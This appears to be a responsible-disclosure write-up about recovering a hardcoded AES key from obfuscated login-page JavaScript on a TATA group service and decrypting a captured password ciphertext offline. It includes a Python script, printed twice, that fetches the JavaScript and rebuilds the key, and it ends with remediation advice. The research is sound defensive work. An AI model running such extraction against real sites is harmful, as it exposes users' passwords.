October 17, 2026
TATA Group Security Research Discovering a Hardcoded AES Key
Security research study on the ease at which cryptography keys could be utilized to convert ciphertext passwords to plaintext passwords.

By 0x7ipher
4 min read
Security research study on the ease at which cryptography keys could be utilized to convert ciphertext passwords to plaintext passwords.
Introduction
Security of encryption entirely relies on how well the keys are managed. While an application might perform encryption of critical data during transfer, if the decryption key is exposed within public client-side code, it renders the entire encryption ineffective. In an assessment performed under a Responsible Disclosure Program, I found out a weakness in client-side AES encryption for a login process pertaining to one of TATA group's services. The finding involved obfuscated JavaScript code which generated a static AES key at runtime by decrypting. The code was then analyzed for recovery of key/IV and tested against the intercepted login request, including test credentials for decryption offline. This article describes the discovery, validation, security impact, and remediation for this vulnerability without disclosing any implementation details or credentials.
Disclosure notice: This article is intended for educational and defensive security research. Sensitive information, including the recovered key, test password, and potentially identifying application details, should remain redacted. Public disclosure should follow the program's rules and any applicable confidentiality requirements.
Step 1: Identifying the Client-Side Encryption
The initial step of the research involved checking the login process on the application and analyzing the JavaScript files utilized by the login page. In the course of the analysis, I noticed a client-side mechanism which was used to encrypt the user password before sending the request. The particular piece of code was located in the file ziato.js. Client-side encryption is not inherently a vulnerability. However, embedding a reusable secret in JavaScript delivered to every visitor means that the secret can potentially be recovered by anyone who can inspect the application code.
Evidence 1 โ Login page and affected JavaScript asset
Step 2: Deobfuscating the JavaScript
However, the obtained source did not reveal the key as a plain string. Rather, the key was generated using a function of the form String.fromCharCode() with its arguments being arithmetic obfuscations in hexadecimal format. The obfuscation was then analyzed, the arithmetic operations were performed, and the final 16-character string was obtained. The obtained key was then tested against the encryption scheme used in the application. The example showed that although the obfuscation added complexity to code review, it did not protect the cryptography key.
Evidence 2 โ Obfuscated key construction
import re
import sys
import requests
TARGET_URL = "https://target.com/ziato.js"
def fetch_source(url: str) -> str:
resp = requests.get(url, timeout=15)
resp.raise_for_status()
return resp.text
def extract_fromcharcode_args(js_source: str) -> list[str]:
"""
Finds the String[...]('de')(...) call used to build the key and
returns its raw comma-separated argument expressions.
"""
match = re.search(
r"String\[[^\]]+\+'de'\]\(([^;]+?)\);",
js_source,
)
if not match:
raise ValueError(
"Could not locate the String.fromCharCode(...) construction call. "
"The file may have changed \u2014 inspect it manually."
)
args_blob = match.group(1)
args = [a.strip() for a in args_blob.split(",")]
return args
def evaluate_key(args: list[str]) -> str:
chars = []
for i, expr in enumerate(args, start=1):
value = eval(expr, {"__builtins__": {}}, {})
if not isinstance(value, int) or not (0 <= value <= 0x10FFFF):
raise ValueError(f"Term {i} evaluated to an unexpected value: {value!r}")
chars.append(chr(value))
return "".join(chars)
def main():
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
print(f"[*] Fetching {url}")
source = fetch_source(url)
print("[*] Extracting obfuscated key-construction arguments")
args = extract_fromcharcode_args(source)
print(f"[*] Found {len(args)} terms")
print("[*] Evaluating each term")
key = evaluate_key(args)
print("-" * 50)
print(f"Recovered key/IV : {key}")
print(f"Length : {len(key)} chars ({len(key.encode())} bytes)")
print("-" * 50)
if __name__ == "__main__":
main()import re
import sys
import requests
TARGET_URL = "https://target.com/ziato.js"
def fetch_source(url: str) -> str:
resp = requests.get(url, timeout=15)
resp.raise_for_status()
return resp.text
def extract_fromcharcode_args(js_source: str) -> list[str]:
"""
Finds the String[...]('de')(...) call used to build the key and
returns its raw comma-separated argument expressions.
"""
match = re.search(
r"String\[[^\]]+\+'de'\]\(([^;]+?)\);",
js_source,
)
if not match:
raise ValueError(
"Could not locate the String.fromCharCode(...) construction call. "
"The file may have changed \u2014 inspect it manually."
)
args_blob = match.group(1)
args = [a.strip() for a in args_blob.split(",")]
return args
def evaluate_key(args: list[str]) -> str:
chars = []
for i, expr in enumerate(args, start=1):
value = eval(expr, {"__builtins__": {}}, {})
if not isinstance(value, int) or not (0 <= value <= 0x10FFFF):
raise ValueError(f"Term {i} evaluated to an unexpected value: {value!r}")
chars.append(chr(value))
return "".join(chars)
def main():
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
print(f"[*] Fetching {url}")
source = fetch_source(url)
print("[*] Extracting obfuscated key-construction arguments")
args = extract_fromcharcode_args(source)
print(f"[*] Found {len(args)} terms")
print("[*] Evaluating each term")
key = evaluate_key(args)
print("-" * 50)
print(f"Recovered key/IV : {key}")
print(f"Length : {len(key)} chars ({len(key.encode())} bytes)")
print("-" * 50)
if __name__ == "__main__":
main()
Step 3: Capturing a Live Login Request
To confirm the proper execution of the code, I used the form for signing in using the test password in control and analyzed the resulting request in the Network tab of the browser. The application included a password field that had ciphertext, not the original password that I used to test it. It confirmed that encryption was performed in the actual login process, but not in some theoretical code. The captured request was kept only for the purpose of the assessment.
Evidence 3 โ Live encrypted request
Step 4: Offline Decryption Verification
I ran a test decryption off-line using the recovered key/IV pair and the captured ciphertext in the AES-128-CBC cipher used by the application. The decrypted text turned out to be identical to the test password which I had input to the login interface. This is the most critical point of validation as the conclusion is not simply based on the presence of a hardcoded key or on the detection of a weak cryptographic practice. The test did not involve logging in from another user's account, having access to another person's credentials or conducting any destructive actions.
Evidence 4 โ Offline decryption result
Potential Impact and Limitations
The conclusion drawn is that the encryption of the client side in the application can be decrypted by reversing the captured login ciphertext if the corresponding hardcoded key is found. The consequences depend on the situation in which the attacker obtains the encrypted requests. Possible ways include obtaining the request capture, compromised endpoint, or request body logging systems.
Recommended Remediation
Do away with the custom client-side encryption solution. Where an application implements HTTPS properly, passwords can be safely transmitted using the secure TLS channel. It is a bad idea to rely on any secret hard-coded into the JavaScript code that is available in the public domain.
Conclusion
One learns an important lesson regarding security from the above assessment, which shows that obfuscation is not a replacement for key management in encryption. It can be seen from how I was able to trace the login sequence, deobfuscate the public JavaScript, obtain the hard-coded AES key/IV, and decrypt the ciphertext captured using the offline technique. The important takeaway message for any developer is clear: do not trust any secret in your publicly distributed client-side software to protect your data.
Thank you for reading. I hope you enjoyed this story and found it helpful.๐